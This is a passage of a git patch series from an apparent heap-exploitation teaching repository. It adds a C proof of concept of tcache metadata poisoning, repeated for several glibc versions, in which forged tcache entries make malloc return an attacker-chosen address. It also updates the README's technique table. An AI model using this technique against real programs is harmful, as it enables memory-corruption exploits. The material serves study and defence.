uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.36/tcache_metadata_poisoning.c b/glibc_2.36/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.36/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.37/tcache_metadata_poisoning.c b/glibc_2.37/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.37/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.38/tcache_metadata_poisoning.c b/glibc_2.38/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.38/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.39/tcache_metadata_poisoning.c b/glibc_2.39/tcache_metadata_poisoning.c new file mode 100644 index 0000000..356debc --- /dev/null +++ b/glibc_2.39/tcache_metadata_poisoning.c @@ -0,0 +1,59 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 64 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} From 236c279572ce4dc4efead6ab4c2cdb1b77f1030d Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 26 Jun 2025 19:33:22 +0200 Subject: [PATCH 09/11] remove old house of io examples from readme --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index 05906e5..6ffcadc 100644 --- a/README.md +++ b/README.md @@ -41,9 +41,7 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | -| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.29 - 2.33 | | | -| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.29 - 2.33 | | | -| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.29 - 2.33 | | | +| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). From 781b5806d53f5ce5e3712d595822bb48838ada49 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 26 Jun 2025 19:33:47 +0200 Subject: [PATCH 10/11] add tcache metadata poisoning attack to readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6ffcadc..fa00a7b 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,7 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | +| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | | | [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. From 6010463a7d8086a1fbe2de9208293e4eb236b72f Mon Sep 17 00:00:00 2001 From: Liikt Date: Tue, 1 Jul 2025 18:38:28 +0200 Subject: [PATCH 11/11] pre 2.30 the count in the metadatastruct was a char --- glibc_2.27/tcache_metadata_poisoning.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/glibc_2.27/tcache_metadata_poisoning.c b/glibc_2.27/tcache_metadata_poisoning.c index 356debc..a48b5f2 100644 --- a/glibc_2.27/tcache_metadata_poisoning.c +++ b/glibc_2.27/tcache_metadata_poisoning.c @@ -17,7 +17,7 @@ // This is the `tcache_perthread_struct` (or the tcache metadata) struct tcache_metadata { - uint16_t counts[TCACHE_BINS]; + char counts[TCACHE_BINS]; void *entries[TCACHE_BINS]; };